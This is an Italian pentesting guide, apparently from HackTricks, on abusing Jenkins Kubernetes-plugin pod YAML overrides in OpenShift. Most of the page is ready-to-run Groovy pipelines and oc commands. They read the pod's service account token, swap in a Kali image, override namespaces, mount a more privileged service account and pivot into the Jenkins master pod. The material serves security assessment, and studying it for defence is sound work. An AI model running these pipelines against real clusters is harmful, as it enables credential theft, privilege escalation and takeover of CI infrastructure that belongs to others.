# Jenkins in Openshift - build pod overrides

{{#include ../../../banners/hacktricks-training.md}}

**L'autore originale di questa pagina è** [**Fares**](https://www.linkedin.com/in/fares-siala/)

## Plugin Kubernetes per Jenkins
Questo plugin è principalmente responsabile delle funzioni core di Jenkins all'interno di un cluster openshift/kubernetes. Documentazione ufficiale [qui](https://plugins.jenkins.io/kubernetes/)
Offre alcune funzionalità come la possibilità per gli sviluppatori di sovrascrivere alcune configurazioni predefinite di un pod di build di jenkins.

## Funzionalità core

Questo plugin consente flessibilità agli sviluppatori durante la costruzione del loro codice in un ambiente adeguato.
```groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}
```
## Alcuni abusi che sfruttano l'override del pod yaml

Tuttavia, può essere abusato per utilizzare qualsiasi immagine accessibile come Kali Linux ed eseguire comandi arbitrari utilizzando strumenti preinstallati da quell'immagine.  
Nell'esempio seguente possiamo esfiltrare il token del serviceaccount del pod in esecuzione.
```groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}
```
Una sintassi diversa per raggiungere lo stesso obiettivo.
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
```
Esempio per sovrascrivere il namespace del pod
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
```
Un altro esempio che tenta di montare un serviceaccount (che potrebbe avere più permessi rispetto a quello predefinito, che esegue la tua build) in base al suo nome. Potresti dover indovinare o enumerare prima i serviceaccounts esistenti.
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
```
La stessa tecnica si applica per provare a montare un Secret. L'obiettivo finale qui sarebbe capire come configurare il tuo pod build per effettuare un pivot o guadagnare privilegi.

## Andare oltre

Una volta che ti sei abituato a giocarci, usa la tua conoscenza su Jenkins e Kubernetes/Openshift per trovare misconfigurazioni / abusi.

Fatti le seguenti domande:

- Quale account di servizio viene utilizzato per distribuire i pod di build?
- Quali ruoli e permessi ha? Può leggere i segreti dello spazio dei nomi in cui mi trovo attualmente?
- Posso enumerare ulteriormente altri pod di build?
- Da un sa compromesso, posso eseguire comandi sul nodo/pod master?
- Posso enumerare ulteriormente il cluster per pivotare altrove?
- Quale SCC è applicata?

Puoi scoprire quali comandi oc/kubectl emettere [qui](../openshift-basic-information.md) e [qui](../../kubernetes-security/kubernetes-enumeration.md).

### Possibili scenari di privesc/pivoting

Supponiamo che durante la tua valutazione tu abbia scoperto che tutti i build di jenkins vengono eseguiti all'interno di uno spazio dei nomi chiamato _worker-ns_. Hai scoperto che un account di servizio predefinito chiamato _default-sa_ è montato sui pod di build, tuttavia non ha molti permessi tranne l'accesso in lettura su alcune risorse, ma sei riuscito a identificare un account di servizio esistente chiamato _master-sa_.
Supponiamo anche che tu abbia il comando oc installato all'interno del contenitore di build in esecuzione.

Con lo script di build sottostante puoi prendere il controllo dell'account di servizio _master-sa_ e enumerare ulteriormente.
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}
```
A seconda del tuo accesso, o devi continuare il tuo attacco dallo script di build oppure puoi accedere direttamente come questo sa nel cluster in esecuzione:
```bash
oc login --token=$token --server=https://apiserver.com:port
```
Se questo sa ha abbastanza permessi (come pod/exec), puoi anche prendere il controllo dell'intera istanza di jenkins eseguendo comandi all'interno del pod del nodo master, se è in esecuzione all'interno dello stesso namespace. Puoi facilmente identificare questo pod tramite il suo nome e dal fatto che deve montare un PVC (persistent volume claim) utilizzato per memorizzare i dati di jenkins.
```bash
oc rsh pod_name -c container_name
```
Nel caso in cui il pod del nodo master non stia funzionando all'interno dello stesso namespace dei worker, puoi provare attacchi simili mirati al namespace master. Supponiamo che si chiami _jenkins-master_. Tieni presente che il serviceAccount master-sa deve esistere nel namespace _jenkins-master_ (e potrebbe non esistere nel namespace _worker-ns_).
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}



{{#include ../../../banners/hacktricks-training.md}}
